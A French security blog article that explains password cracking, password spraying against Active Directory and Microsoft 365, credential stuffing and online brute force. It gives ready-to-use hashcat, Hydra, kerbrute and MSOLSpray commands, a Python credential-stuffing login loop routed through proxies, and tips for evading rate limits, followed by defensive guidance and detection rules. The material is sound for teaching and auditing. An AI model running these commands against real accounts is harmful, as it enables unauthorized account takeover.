Besoin d'un audit de sécurité ?
Devis personnalisé sous 24h
Techniques de Hacking / Identité & Auth

Password Attacks : Cracking, Spraying et Credential Stuffing

Par Ayi NEDJIMI 15 février 2026 Lecture : 30 min
#PasswordCracking #Hashcat #PasswordSpraying #CredentialStuffing #ActiveDirectory

1. Introduction : le mot de passe, maillon faible persistant

Malgré des décennies d'innovation en matière de sécurité informatique, le mot de passe demeure le mécanisme d'authentification le plus répandu au monde -- et le vecteur d'attaque le plus exploité par les adversaires. Selon le rapport Verizon Data Breach Investigations Report (DBIR) 2025, 81 % des violations de données impliquent des identifiants compromis, qu'ils aient été volés par phishing, réutilisés après une fuite, ou cassés par force brute.

Les attaques par mot de passe se déclinent en plusieurs familles distinctes, chacune reposant sur des hypothèses et des conditions d'exploitation différentes. Le cracking offline consiste à récupérer des empreintes cryptographiques (hashes) et à les inverser localement, sans aucune interaction avec le système cible. Le password spraying adopte une approche inverse : tester un nombre restreint de mots de passe courants contre un grand nombre de comptes, en respectant les seuils de verrouillage. Le credential stuffing exploite la réutilisation massive des mots de passe entre services en rejouant des couples identifiant/mot de passe issus de fuites antérieures. Enfin, le brute-force en ligne tente de deviner le mot de passe d'un compte précis en multipliant les tentatives sur un service exposé.

La compréhension de ces techniques est essentielle tant pour les professionnels de la sécurité offensive (pentesters, red teamers) que pour les défenseurs (blue teamers, SOC). Cet article propose un tour d'horizon complet et technique : des fondamentaux du hashing de mots de passe aux outils de cracking les plus performants, en passant par les méthodologies de spraying sur Active Directory et les contre-mesures modernes recommandées par le NIST et l'ANSSI. Chaque section est illustrée par des commandes concrètes, des benchmarks GPU actuels et des recommandations défensives directement applicables en environnement de production.

Avertissement légal

Les techniques présentées dans cet article sont destinées exclusivement à un usage éducatif et aux audits de sécurité autorisés. Toute utilisation de ces outils sans autorisation écrite du propriétaire du système constitue une infraction pénale (articles 323-1 à 323-8 du Code pénal français). Testez toujours dans un environnement lab ou avec un mandat de pentest signé.

2. Fondamentaux du hashing de mots de passe

2.1 Hashing vs chiffrement : une distinction cruciale

Avant de plonger dans les techniques d'attaque, il est indispensable de comprendre la différence fondamentale entre hashing et chiffrement. Le chiffrement est une opération réversible : avec la clé appropriée, le texte clair peut être intégralement retrouvé. Le hashing, en revanche, est une fonction à sens unique (one-way function). Une fonction de hachage prend une entrée de taille arbitraire et produit une sortie de taille fixe (l'empreinte ou digest). Il est théoriquement impossible de retrouver l'entrée à partir de la sortie -- c'est cette propriété que les attaquants cherchent à contourner.

Un bon algorithme de hachage de mots de passe doit posséder trois propriétés essentielles : la résistance à la pré-image (impossible de retrouver le message à partir du hash), la résistance aux collisions (impossible de trouver deux messages produisant le même hash) et un coût computationnel élevé (lenteur délibérée pour ralentir le brute-force).

2.2 Algorithmes courants et leurs faiblesses

AlgorithmeLongueurSaléItératifUsage courantSécurité
MD5128 bitsNonNonLegacy, checksumsCassé
SHA-1160 bitsNonNonSignatures anciennesCassé
SHA-256256 bitsNonNonIntégrité fichiersInadapté (trop rapide)
NTLM128 bitsNonNonWindows/ADCritique
NetNTLMv2VariableChallengeNonAuth réseau WindowsVulnérable
bcrypt184 bitsOuiOui (cost)Applications webRecommandé
scryptVariableOuiOui (memory-hard)Crypto, appsRecommandé
Argon2idVariableOuiOui (memory+CPU)Standard moderneOptimal

2.3 Le rôle essentiel du sel (salt)

Le salage consiste à concaténer une valeur aléatoire unique (le sel) au mot de passe avant de le hacher. Sans sel, deux utilisateurs partageant le même mot de passe produisent le même hash, ce qui permet des attaques par tables pré-calculées (rainbow tables). Avec un sel unique par utilisateur, chaque hash est différent, même pour des mots de passe identiques. L'algorithme NTLM utilisé par Active Directory ne salant pas les empreintes, il est particulièrement vulnérable au cracking offline -- un point développé en détail dans notre article sur l'exploitation Kerberos dans Active Directory.

2.4 Formats de hash rencontrés en pentest

Lors d'un audit, les pentesteurs récupèrent des hashes dans des formats très variés. Voici les plus courants :

# NTLM (Windows SAM / Active Directory)
aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0

# NetNTLMv2 (capturé via Responder / NTLM relay)
admin::CORP:1122334455667788:A1B2C3D4E5F6...:0101000000000000...

# Kerberos 5 TGS-REP (Kerberoasting) - mode 13100
$krb5tgs$23$*user$realm$spn*$hash...

# bcrypt ($2a$ / $2b$ / $2y$)
$2a$12$LJ3m4ys3KlG/SslRuG3E4euOLlKRWJQOcC2p/N5YxDT.jxPkR.S.m

# SHA-512 Linux /etc/shadow ($6$)
$6$rounds=5000$saltsalt$hashvalue...

# Kerberos AS-REP (AS-REP Roasting) - mode 18200
$krb5asrep$23$user@DOMAIN:hash...

L'identification du type de hash est la première étape avant toute tentative de cracking. Des outils comme hashid et haiti automatisent cette reconnaissance :

# Identification avec hashid
$ hashid '5f4dcc3b5aa765d61d8327deb882cf99'
Analyzing '5f4dcc3b5aa765d61d8327deb882cf99'
[+] MD5
[+] MD4
[+] Double MD5

# Identification avec haiti (plus précis, inclut mode Hashcat)
$ haiti '$2a$12$LJ3m4ys3...'
bcrypt $2*$, Blowfish (Unix) [HC: 3200] [JtR: bcrypt]

3. Password cracking offline

Le cracking offline est la technique reine des audits de mots de passe. Après extraction des hashes (via secretsdump.py, mimikatz, SAM dump, export NTDS.dit, NTLM relay ou Kerberoasting), l'attaquant travaille localement sur sa propre machine, sans générer de trafic réseau ni risquer de verrouillage de compte. La vitesse de cracking dépend alors essentiellement de la puissance de calcul disponible et de l'algorithme de hachage ciblé.

3.1 Hashcat : le standard de l'industrie

Hashcat est l'outil de cracking le plus performant disponible, exploitant pleinement les GPU modernes (CUDA pour NVIDIA, OpenCL pour AMD). Il supporte plus de 350 types de hash et propose plusieurs modes d'attaque :

Modes d'attaque Hashcat

ModeFlagDescriptionCas d'usage
Dictionary-a 0Teste chaque mot d'un dictionnairePremier passage rapide
Combinator-a 1Combine deux dictionnairesMots composés (soleil+2024)
Brute-force / Mask-a 3Génère selon un masque de caractèresPatterns connus (Mot2Passe!)
Hybrid dict+mask-a 6Dictionnaire + suffixe masquepassword + ?d?d?d?d
Hybrid mask+dict-a 7Préfixe masque + dictionnaire?u?u?u + dictionary
Rule-based-a 0 -rApplique des mutations aux motsSubstitutions, casse, ajouts

Exemples concrets de commandes Hashcat :

# Attaque dictionnaire sur des hashes NTLM (mode 1000)
hashcat -m 1000 -a 0 hashes.txt rockyou.txt

# Attaque par masque : 8 caractères, majuscule + minuscules + chiffre + spécial
hashcat -m 1000 -a 3 hashes.txt ?u?l?l?l?l?l?d?s

# Attaque hybride : mot du dictionnaire + 4 chiffres
hashcat -m 1000 -a 6 hashes.txt rockyou.txt ?d?d?d?d

# Attaque avec règles avancées (best64)
hashcat -m 1000 -a 0 hashes.txt rockyou.txt -r rules/best64.rule

# Kerberoasting (TGS-REP etype 23) avec règles
hashcat -m 13100 -a 0 kerberoast.txt wordlist.txt -r rules/dive.rule

# Cracking bcrypt (très lent même sur GPU)
hashcat -m 3200 -a 0 bcrypt_hashes.txt rockyou.txt

Charsets et masques personnalisés

Hashcat permet de définir des jeux de caractères personnalisés pour cibler des politiques de mots de passe spécifiques :

# Définir un charset personnalisé : lettres FR avec accents
hashcat -m 1000 -a 3 --custom-charset1 'aàâäeéèêëiïoôuùûüyÿcç' hashes.txt ?1?1?1?1?1?1?1?1

# Masque pour politique "1 maj + 6 min + 2 chiffres"
hashcat -m 1000 -a 3 hashes.txt ?u?l?l?l?l?l?l?d?d

3.2 John the Ripper (Jumbo)

John the Ripper (version Jumbo community-enhanced) reste un outil incontournable, notamment pour ses capacités de détection automatique de format et son système de règles puissant. Contrairement à Hashcat, John fonctionne efficacement sur CPU, ce qui le rend utile sur des machines sans GPU dédié :

# Cracking automatique (détection de format)
john --wordlist=rockyou.txt hashes.txt

# Forcer le format NTLM
john --format=NT --wordlist=rockyou.txt ntlm_hashes.txt

# Utiliser les règles Jumbo
john --wordlist=rockyou.txt --rules=Jumbo hashes.txt

# Mode incrémental (brute-force pur)
john --incremental=Alnum hashes.txt

# Afficher les mots de passe cassés
john --show hashes.txt

# Extraire les hashes depuis /etc/shadow
unshadow /etc/passwd /etc/shadow > combined.txt
john --wordlist=rockyou.txt combined.txt

3.3 Benchmarks GPU : la puissance des cartes modernes

La vitesse de cracking varie de plusieurs ordres de grandeur selon l'algorithme. Voici des benchmarks réalistes pour une NVIDIA RTX 4090 (la carte grand public la plus puissante en 2026) :

Vitesse de cracking par algorithme -- RTX 4090 (H/s) MD5 NTLM SHA-256 NetNTLMv2 bcrypt (cost 12) Argon2id 164 GH/s 130 GH/s 22 GH/s 6.8 GH/s 184 kH/s 12 kH/s Plus la barre est longue, plus l'algorithme est rapide à cracker (= moins sécurisé) GH/s = milliards de hash/seconde | kH/s = milliers de hash/seconde

Ces chiffres illustrent pourquoi le choix de l'algorithme est déterminant. Un mot de passe de 8 caractères protégé par MD5 est crackable en quelques secondes, tandis que le même mot de passe protégé par Argon2id nécessiterait des siècles avec le même matériel. Le cloud computing amplifie encore la menace : des services comme AWS p4d.24xlarge (8x A100) ou des clusters de GPU cloud permettent d'atteindre des vitesses plusieurs ordres de grandeur supérieures pour quelques centaines de dollars.

3.4 Rainbow tables

Les rainbow tables sont des tables pré-calculées qui stockent des correspondances entre des hashes et leurs mots de passe en clair. Elles permettent un cracking quasi instantané en échangeant du temps de calcul contre de l'espace disque. L'outil RainbowCrack permet de générer et d'exploiter ces tables :

# Génération d'une rainbow table NTLM
rtgen ntlm loweralpha-numeric 1 8 0 3800 33554432 0

# Tri de la table
rtsort *.rt

# Recherche dans la table
rcrack /path/to/tables/ -h aad3b435b51404eeaad3b435b51404ee

Cependant, les rainbow tables sont totalement inefficaces contre les algorithmes salés (bcrypt, scrypt, Argon2), car chaque sel unique nécessiterait sa propre table complète. C'est pourquoi le salage est une contre-mesure fondamentale. Les tables pour NTLM et LM restent néanmoins très pertinentes car ces algorithmes n'utilisent pas de sel.

3.5 Wordlists et génération personnalisée

La qualité de la wordlist est souvent plus déterminante que la puissance brute du GPU. Les sources de wordlists les plus utilisées :

  • rockyou.txt : 14 millions de mots de passe issus de la fuite RockYou (2009). Classique incontournable, mais limité.
  • SecLists (Daniel Miessler) : collection organisée de wordlists, patterns et payloads. Les fichiers Passwords/Common-Credentials/ sont particulièrement utiles.
  • CeWL (Custom Word List generator) : crawle un site web pour générer une wordlist contextualisée à partir du contenu. Idéal pour cibler une organisation spécifique.
  • CUPP (Common User Passwords Profiler) : génère des candidats basés sur des informations personnelles de la cible (prénom, date de naissance, nom de l'entreprise, etc.).
# CeWL : générer une wordlist depuis le site de la cible
cewl https://www.cible.fr -d 3 -m 6 -w cible_wordlist.txt

# CUPP : profilage interactif
cupp -i
# Entrer : prénom, nom, date de naissance, nom du conjoint, etc.

# Combiner et dédupliquer
cat rockyou.txt cible_wordlist.txt cupp_output.txt | sort -u > combined.txt

3.6 Rules avancées : l'art de la mutation

Les règles (rules) sont le secret d'un cracking efficace. Elles appliquent des transformations systématiques à chaque mot du dictionnaire pour reproduire les habitudes des utilisateurs :

RègleTransformationExemple (password)
cCapitalizePassword
$1Ajouter 1 à la finpassword1
$!Ajouter ! à la finpassword!
sa@Remplacer a par @p@ssword
se3Remplacer e par 3password (pas de e ici)
so0Remplacer o par 0passw0rd
c $1 $!CombinaisonPassword1!

Les fichiers de règles les plus efficaces :

  • best64.rule : 64 règles les plus productives. Excellent ratio temps/résultat.
  • dive.rule : ~99 000 règles. Couverture très large, mais plus lent.
  • OneRuleToRuleThemAll (NotSoSecure) : compilation optimisée des meilleures règles issues de compétitions de cracking. Souvent considéré comme le meilleur compromis performance/couverture.
# Appliquer OneRuleToRuleThemAll
hashcat -m 1000 -a 0 hashes.txt rockyou.txt -r OneRuleToRuleThemAll.rule

# Chaîner plusieurs fichiers de règles
hashcat -m 1000 -a 0 hashes.txt rockyou.txt -r best64.rule -r toggles1.rule

4. Password spraying : l'attaque à bas bruit

Le password spraying est l'inverse logique du brute-force classique. Au lieu de tester N mots de passe contre 1 compte (ce qui déclenche rapidement le verrouillage), l'attaquant teste 1 mot de passe contre N comptes, puis passe au mot de passe suivant après avoir respecté la fenêtre de réinitialisation du compteur de tentatives. Cette approche est particulièrement redoutable contre les environnements Active Directory, où les politiques de verrouillage standards autorisent généralement 3 à 5 tentatives échouées avant blocage avec une fenêtre de réinitialisation de 30 minutes.

4.1 Principes et méthodologie

Le succès du spraying repose sur une réalité statistique implacable : dans toute organisation de taille significative, une proportion non négligeable d'utilisateurs choisit des mots de passe faibles et prévisibles. Les mots de passe les plus fréquemment découverts lors de spraying suivent des patterns reconnaissables :

  • Nom de l'entreprise + année : Entreprise2026!, Corp2025
  • Saison + année : Hiver2026!, Ete2025!, Printemps2026
  • Mots de passe par défaut : Welcome1!, Password123, Changeme1!
  • Patterns clavier : Azerty123!, Qwerty2026
  • Conformité minimale à la politique : exactement 8 caractères, une majuscule, un chiffre, un spécial à la fin

4.2 Spraying Active Directory

Plusieurs outils spécialisés ciblent les environnements AD. Avant de commencer, il est essentiel de récupérer la politique de mots de passe du domaine pour calibrer l'attaque :

# Récupérer la politique de mots de passe du domaine
crackmapexec smb dc01.corp.local -u user -p 'Password' --pass-pol
# Résultat : lockoutThreshold=5, lockoutObservationWindow=30min, lockoutDuration=30min

# Énumérer les utilisateurs du domaine
crackmapexec smb dc01.corp.local -u user -p 'Password' --users > users.txt
# Alternative : kerbrute pour énumération sans authentification
kerbrute userenum --dc dc01.corp.local -d corp.local usernames.txt

Outils de spraying AD

# CrackMapExec (CME / NetExec) - spraying SMB
crackmapexec smb dc01.corp.local -u users.txt -p 'Hiver2026!' --continue-on-success

# Spray (Python) - timing intégré
spray.sh -smb dc01.corp.local users.txt passwords.txt 1 35

# DomainPasswordSpray (PowerShell) - depuis une machine jointe au domaine
Import-Module .\DomainPasswordSpray.ps1
Invoke-DomainPasswordSpray -Password "Hiver2026!" -OutFile sprayed.txt

# Kerbrute - spraying Kerberos (plus furtif, pas de log SMB)
kerbrute passwordspray --dc dc01.corp.local -d corp.local users.txt "Hiver2026!"

# Ruler - spraying OWA/Exchange
ruler --domain corp.com brute --users users.txt --passwords passwords.txt

Attention au timing

Si la politique de verrouillage est de 5 tentatives sur 30 minutes, ne testez jamais plus de 2 mots de passe par fenêtre (marge de sécurité pour les tentatives échouées normales des utilisateurs). Un spraying trop agressif peut verrouiller des centaines de comptes simultanément, ce qui est à la fois détectable et perturbateur.

4.3 Spraying cloud : Microsoft 365 / Entra ID

Le spraying ne se limite pas aux environnements on-premise. Les services cloud sont des cibles de choix car ils sont accessibles depuis Internet sans VPN. Pour les environnements Microsoft 365 et Azure AD (Entra ID), plusieurs vecteurs sont exploitables :

# MSOLSpray - spraying Microsoft Online (Entra ID)
Invoke-MSOLSpray -UserList users.txt -Password "Printemps2026!" -Url "https://login.microsoftonline.com"

# Trevorspray - spraying intelligent avec rotation de source IP
trevorspray -u users.txt -p 'Hiver2026!' --url https://login.microsoftonline.com

# Spray AWS IAM
aws iam simulate-custom-policy ...
# Note : AWS n'a pas de mécanisme de lockout standard sur IAM

Les services cloud exposent également des endpoints d'authentification spécifiques qui peuvent être utilisés pour le spraying tout en contournant certaines protections. L'endpoint AutoDiscover d'Exchange Online, les flux ROPC (Resource Owner Password Credential) et les anciennes méthodes d'authentification legacy (IMAP, POP3, SMTP AUTH) sont souvent moins protégés que le portail web principal. Les attaques sur les Identity Providers décrivent en détail ces vecteurs d'authentification alternatifs.

4.4 Contournement des protections

Les attaquants sophistiqués emploient plusieurs techniques pour éviter la détection lors du spraying :

  • Rotation d'IP source : utilisation de proxies résidentiels, VPN rotatifs, ou services cloud avec IP dynamiques pour contourner les blocages basés sur l'adresse IP.
  • Rotation de User-Agent : variation des headers HTTP pour imiter différents clients légitimes.
  • Timing adaptatif : espacement aléatoire entre les tentatives, respect des fenêtres d'observation, spraying uniquement pendant les heures ouvrables (pour se fondre dans le trafic légitime).
  • Ciblage sélectif : focus sur les comptes de service (souvent exclus des politiques de lockout) et les comptes avec des SPN (Service Principal Names) qui tendent à avoir des mots de passe plus faibles.
  • Protocoles alternatifs : utiliser LDAP, Kerberos ou IMAP au lieu de SMB pour éviter certaines règles de détection.

4.5 Détection du spraying

Les défenseurs peuvent détecter le password spraying en surveillant les événements Windows suivants :

Event IDSourceDescriptionIndicateur
4625SecurityÉchec de connexionMême source IP, multiples comptes
4771SecurityÉchec pré-authentification KerberosCode 0x18 (mauvais mot de passe)
4776SecurityValidation credentials NTLMStatus 0xC000006A
8004NTLMAudit NTLM (si activé)Volume anormal de requêtes
# Requête KQL (Microsoft Sentinel) pour détecter le spraying
SecurityEvent
| where EventID == 4625
| summarize FailedAttempts=count(), DistinctAccounts=dcount(TargetAccount) by IpAddress, bin(TimeGenerated, 30m)
| where DistinctAccounts > 10 and FailedAttempts > 20

5. Credential stuffing : l'industrialisation de la réutilisation

Le credential stuffing exploite un comportement humain omniprésent : la réutilisation des mots de passe entre plusieurs services. Selon une étude Google/Harris Poll, 65 % des internautes réutilisent le même mot de passe sur plusieurs sites. Lorsqu'un service subit une fuite de données, les couples email/mot de passe exposés deviennent immédiatement exploitables sur tous les autres services où l'utilisateur a réutilisé ses identifiants.

L'échelle du problème est vertigineuse : on estime que plus de 15 milliards de credentials circulent sur les forums underground et les marchés du dark web, issus de fuites majeures comme LinkedIn (2012/2016, 164 millions), Yahoo (2013, 3 milliards), Dropbox (2012, 68 millions), Collection #1-5 (2019, 2,2 milliards de records uniques) et bien d'autres. Les attaquants n'ont même pas besoin de cracker quoi que ce soit : les mots de passe sont déjà en clair ou facilement déchiffrables.

Pipeline d'une attaque de Credential Stuffing DATA BREACH Fuite de base de données PARSING email:password déduplication PROXY ROTATION IP résidentielles TARGET LOGIN e-commerce, SaaS VALID CREDS 0.5-2% taux de succès typique Account Takeover Prise de contrôle Fraude financière Achats, virements Data Exfiltration Données personnelles Pivot / Escalade Accès réseau interne Statistiques typiques d'une campagne de credential stuffing 10M tentatives 50-200k valides (0.5-2%) Coût : ~$50-200 en proxies

5.1 Outils de credential stuffing

L'écosystème d'outils de credential stuffing est vaste, allant de solutions commercialisées sur le dark web à des scripts personnalisés :

  • Sentry MBA : outil historique avec interface graphique, supporte des "configs" personnalisées par site cible. Très populaire mais de plus en plus détecté.
  • OpenBullet : successeur open-source de Sentry MBA, modulaire et extensible. Supporte les configurations Loli (scripts de parsing de réponse HTTP).
  • Scripts Python personnalisés : avec les bibliothèques requests, aiohttp (asynchrone) et selenium (pour les sites avec JavaScript), des scripts sur mesure peuvent être développés pour cibler n'importe quel formulaire d'authentification.
# Exemple simplifié de credential stuffing en Python (à des fins éducatives)
import asyncio, aiohttp

async def try_login(session, email, password, proxy):
    data = {"email": email, "password": password}
    async with session.post(
        "https://target.com/api/login",
        json=data,
        proxy=proxy,
        timeout=aiohttp.ClientTimeout(total=10)
    ) as resp:
        if resp.status == 200:
            result = await resp.json()
            if result.get("success"):
                print(f"[+] VALID: {email}:{password}")
                return (email, password)
    return None

5.2 Cibles privilégiées

Les attaquants ciblent en priorité les services à forte valeur ajoutée :

  • E-commerce : cartes bancaires enregistrées, points de fidélité, adresses de livraison
  • Services bancaires : virements, consultation de solde, prélèvements
  • SaaS professionnels : accès aux données d'entreprise, emails, documents confidentiels
  • Gaming / Streaming : comptes premium, items virtuels, abonnements
  • Réseaux sociaux : usurpation d'identité, diffusion de campagnes de phishing

6. Brute-force en ligne : les protocoles sous pression

Le brute-force en ligne consiste à tester des combinaisons d'identifiants directement contre un service d'authentification réseau. Contrairement au cracking offline, cette approche est limitée par la latence réseau, les mécanismes de rate limiting et les politiques de verrouillage. Elle reste néanmoins efficace contre des services mal configurés ou des protocoles dépourvus de protections intrinsèques.

6.1 Hydra : le couteau suisse du brute-force réseau

THC-Hydra est l'outil le plus polyvalent pour le brute-force en ligne, supportant plus de 50 protocoles. Son architecture parallèle permet de maintenir un débit élevé tout en respectant des limites de concurrence configurable :

# SSH brute-force
hydra -L users.txt -P passwords.txt ssh://192.168.1.100 -t 4

# RDP brute-force (attention : très lent en raison du handshake TLS)
hydra -L users.txt -P passwords.txt rdp://192.168.1.100 -t 1

# FTP brute-force
hydra -l admin -P passwords.txt ftp://192.168.1.100 -t 8

# HTTP POST form (login web)
hydra -L users.txt -P passwords.txt 192.168.1.100 http-post-form \
  "/login:username=^USER^&password=^PASS^:F=Invalid credentials" -t 10

# SMB brute-force
hydra -L users.txt -P passwords.txt smb://192.168.1.100

# IMAP brute-force
hydra -L users.txt -P passwords.txt imap://mail.target.com -t 3

6.2 Medusa et Ncrack

Medusa offre une alternative à Hydra avec une architecture modulaire et des performances parfois supérieures sur certains protocoles. Ncrack (de l'équipe Nmap) excelle sur les protocoles de bureau à distance (RDP, VNC) et propose un mode de timing adaptatif inspiré de Nmap :

# Medusa - brute-force SSH avec throttling
medusa -H hosts.txt -U users.txt -P passwords.txt -M ssh -t 3 -T 5

# Ncrack - RDP avec timing adaptatif
ncrack -vv --user admin -P passwords.txt rdp://192.168.1.100 -T3

# Ncrack - SSH avec timing prudent
ncrack -vv -U users.txt -P passwords.txt ssh://192.168.1.100 -T2

6.3 Combinaison CeWL + Hydra : attaque contextualisée

Une approche particulièrement efficace combine la génération de wordlists contextualisées avec CeWL et le brute-force ciblé avec Hydra. En crawlant le site web de la cible, on extrait des termes spécifiques à l'organisation (noms de produits, termes métier, localisation) qui constituent d'excellents candidats pour des mots de passe :

# Étape 1 : Générer la wordlist contextualisée
cewl https://www.cible.fr -d 3 -m 5 -w cible_words.txt
cewl https://intranet.cible.fr -d 2 -m 5 -a -w cible_intranet.txt

# Étape 2 : Enrichir avec des mutations communes
# (ajout de chiffres, caractères spéciaux, casse)
hashcat --stdout cible_words.txt -r best64.rule > cible_mutated.txt

# Étape 3 : Lancer le brute-force sur le VPN ou l'OWA
hydra -L users.txt -P cible_mutated.txt https-post-form://mail.cible.fr \
  "/owa/auth.owa:destination=https%3A%2F%2Fmail.cible.fr%2Fowa%2F&flags=4&forcedownlevel=0&username=CIBLE%5C^USER^&password=^PASS^:F=logon.asp" -t 2

6.4 Rate limiting et bypass

Les services modernes implémentent des mécanismes de rate limiting pour contrer le brute-force en ligne. Les techniques de contournement incluent :

  • Rotation d'IP : si le rate limiting est basé sur l'IP source, la rotation via proxies résidentiels ou TOR le rend inefficace.
  • Header manipulation : certaines implémentations naïves se fient aux headers X-Forwarded-For ou X-Real-IP qui peuvent être forgés.
  • Variation de User-Agent : changer le User-Agent entre chaque requête pour contourner les détections basées sur les fingerprints client.
  • Endpoints alternatifs : les API mobiles ou les endpoints legacy du même service ont souvent des protections moins robustes que le portail web principal.
  • Timing lent : espacer les tentatives de 30 à 60 secondes pour rester sous le seuil de détection, au prix d'un temps d'attaque plus long.

7. Contre-mesures et politiques de mots de passe

La défense contre les attaques par mot de passe repose sur une approche multicouche combinant des politiques robustes, des technologies d'authentification forte et une surveillance continue. Aucune mesure isolée n'est suffisante ; c'est la combinaison de plusieurs contrôles qui rend ces attaques impraticables.

Architecture de défense multicouche contre les attaques par mot de passe COUCHE 1 : Politique de mots de passe NIST 800-63B : min 8 car., pas de rotation forcée, blocklist, pas de règles de complexité arbitraires COUCHE 2 : Rate limiting intelligent + Account lockout Lockout progressif, CAPTCHA adaptatif, throttling par IP/compte, détection de patterns anormaux COUCHE 3 : Authentification multi-facteurs (MFA) FIDO2/WebAuthn (phishing-resistant), TOTP, Push notifications avec number matching COUCHE 4 : Monitoring et détection SIEM/SOAR : Event ID 4625/4771, anomalies géo, impossible travel, device fingerprinting COUCHE 5 : Détection de fuites de credentials Have I Been Pwned API, Entra ID Password Protection, dark web monitoring, breach intelligence DEFENSE IN DEPTH

7.1 Authentification multi-facteurs (MFA)

Le MFA est la contre-mesure la plus efficace contre toutes les formes d'attaques par mot de passe. Même si le mot de passe est compromis, l'attaquant ne peut pas s'authentifier sans le second facteur. Cependant, tous les facteurs ne se valent pas :

Type de MFARésistance au phishingRésistance au credential stuffingRecommandation
SMS OTPFaible (SIM swap, SS7)BonneAcceptable (mieux que rien)
TOTP (Google Auth)Moyenne (phishable)BonneRecommandé
Push notificationMoyenne (fatigue MFA)BonneAvec number matching
FIDO2 / WebAuthnExcellenteExcellenteOptimal
PasskeysExcellenteExcellenteFutur standard

Pour une analyse approfondie des vulnérabilités des mécanismes d'authentification forte, consultez notre article sur le bypass de FIDO2 et des Passkeys.

7.2 Politiques de mots de passe : NIST vs ANSSI

Les recommandations du NIST SP 800-63B (2023 update) ont radicalement changé la façon dont les mots de passe doivent être gérés :

Recommandations NIST SP 800-63B

  • Longueur minimale : 8 caractères (15+ recommandé), maximum au moins 64 caractères
  • Pas de rotation forcée : le changement périodique obligatoire est supprimé (il engendre des mots de passe plus faibles)
  • Pas de règles de complexité arbitraires : exiger "1 majuscule + 1 chiffre + 1 spécial" pousse les utilisateurs vers des patterns prévisibles (Password1!)
  • Blocklist de mots de passe : vérifier que le mot de passe choisi ne figure pas dans une liste de mots de passe connus compromis
  • Pas d'indices de mot de passe : les "security questions" sont éliminées
  • Accepter tous les caractères : Unicode, espaces, emojis -- encourager les passphrases longues

Les recommandations ANSSI (guide 2024) s'alignent largement sur le NIST tout en ajoutant des spécificités françaises : longueur minimale de 12 caractères pour les comptes standards, 16 pour les comptes à privilèges, et encouragement fort au déploiement de MFA phishing-resistant (FIDO2) pour tous les comptes d'administration.

7.3 Algorithmes de hachage modernes

Côté serveur, le choix de l'algorithme de hachage est déterminant. Argon2id, vainqueur du Password Hashing Competition (2015), est le standard recommandé. Il est à la fois memory-hard (résistant aux attaques GPU) et time-hard (coûteux en CPU) :

# Configuration Argon2id recommandée (OWASP 2024)
# m=19456 (19 MiB), t=2 (2 itérations), p=1 (1 thread)
from argon2 import PasswordHasher
ph = PasswordHasher(
    time_cost=2,
    memory_cost=19456,
    parallelism=1,
    hash_len=32,
    type=argon2.Type.ID
)
hash = ph.hash("mon_mot_de_passe_complexe")

# Pour les systèmes à forte charge, un compromis acceptable :
# m=12288 (12 MiB), t=3, p=1

7.4 Détection proactive des fuites

L'intégration de l'API Have I Been Pwned (HIBP) dans le processus d'enregistrement et de changement de mot de passe permet de rejeter automatiquement les mots de passe connus compromis. L'API utilise un modèle k-Anonymity qui préserve la confidentialité : seuls les 5 premiers caractères du hash SHA-1 du mot de passe sont envoyés au serveur :

# Vérification HIBP via API (k-Anonymity)
import hashlib, requests

def is_pwned(password):
    sha1 = hashlib.sha1(password.encode()).hexdigest().upper()
    prefix, suffix = sha1[:5], sha1[5:]
    resp = requests.get(f"https://api.pwnedpasswords.com/range/{prefix}")
    return suffix in resp.text

# Intégration dans Entra ID : Azure AD Password Protection
# Vérifie contre une liste de 2000+ mots de passe bannis globaux + liste personnalisée

7.5 Monitoring et détection du spraying

La détection repose sur la corrélation d'événements dans le SIEM. Les règles suivantes sont essentielles :

# Règle Sigma pour détection de password spraying
title: Password Spraying Detection
status: stable
logsource:
    product: windows
    service: security
detection:
    selection:
        EventID:
            - 4625
            - 4771
    timeframe: 30m
    condition: selection | count(TargetUserName) by IpAddress > 10
level: high
tags:
    - attack.credential_access
    - attack.t1110.003

Les Event IDs clés à surveiller :

  • 4625 : échec d'ouverture de session (corrélation par IP source et par compte cible)
  • 4771 : échec de pré-authentification Kerberos (code d'erreur 0x18 = mauvais mot de passe)
  • 4776 : tentative de validation des credentials (NTLM)
  • 4624 après série de 4625 : succès après multiples échecs = probable spraying réussi (alerte critique)

Checklist défensive complète

  • Déployer MFA phishing-resistant (FIDO2/WebAuthn) sur tous les comptes à privilèges
  • Appliquer les recommandations NIST 800-63B (longueur > complexité, blocklist, pas de rotation forcée)
  • Utiliser Argon2id ou bcrypt (cost ≥ 12) pour le hachage côté serveur
  • Intégrer HIBP API pour vérifier les mots de passe contre les fuites connues
  • Configurer un smart lockout progressif (pas de lockout complet au-delà de l'observation window)
  • Surveiller les Event IDs 4625, 4771, 4776 avec corrélation temporelle
  • Désactiver les protocoles d'authentification legacy (NTLM v1, basic auth, POP3/IMAP sans MFA)
  • Former les utilisateurs aux passphrases et aux password managers
  • Monitorer le dark web pour les fuites de credentials de votre organisation
  • Auditer régulièrement la force des mots de passe AD avec des outils comme DSInternals ou Kerberoasting contrôlé

8. Conclusion

Les attaques par mot de passe restent en 2026 l'un des vecteurs d'intrusion les plus prolifiques, malgré des décennies de sensibilisation et l'émergence de technologies d'authentification alternatives. Cette persistance s'explique par la convergence de plusieurs facteurs : l'ubiquité des mots de passe comme mécanisme d'authentification par défaut, la tendance humaine à choisir des mots de passe faibles et à les réutiliser, et la puissance de calcul toujours croissante accessible aux attaquants via les GPU modernes et le cloud computing.

La défense efficace repose sur une approche multicouche où chaque contrôle compense les faiblesses des autres. Le MFA phishing-resistant (FIDO2, Passkeys) élimine le risque lié aux mots de passe compromis. Les politiques alignées sur le NIST 800-63B favorisent des mots de passe réellement robustes plutôt que conformes à des règles artificielles. Les algorithmes modernes comme Argon2id rendent le cracking offline impraticable. La détection proactive des fuites via HIBP et le monitoring des Event IDs Windows permettent une réponse rapide aux tentatives de spraying et de credential stuffing.

La direction est claire : l'avenir de l'authentification est passwordless. Les Passkeys, soutenues par Apple, Google et Microsoft via l'Alliance FIDO, promettent un monde où le mot de passe n'est plus qu'un facteur de secours. En attendant cette transition, la maîtrise des techniques d'attaque décrites dans cet article reste indispensable pour auditer et renforcer les systèmes existants.

Évaluez la résistance de vos mots de passe

Nos experts réalisent des audits de mots de passe Active Directory complets : extraction, cracking contrôlé, analyse statistique et recommandations personnalisées.

Demander un audit de mots de passe

Références et ressources externes

Ayi NEDJIMI

Ayi NEDJIMI

Expert en Cybersécurité & Intelligence Artificielle

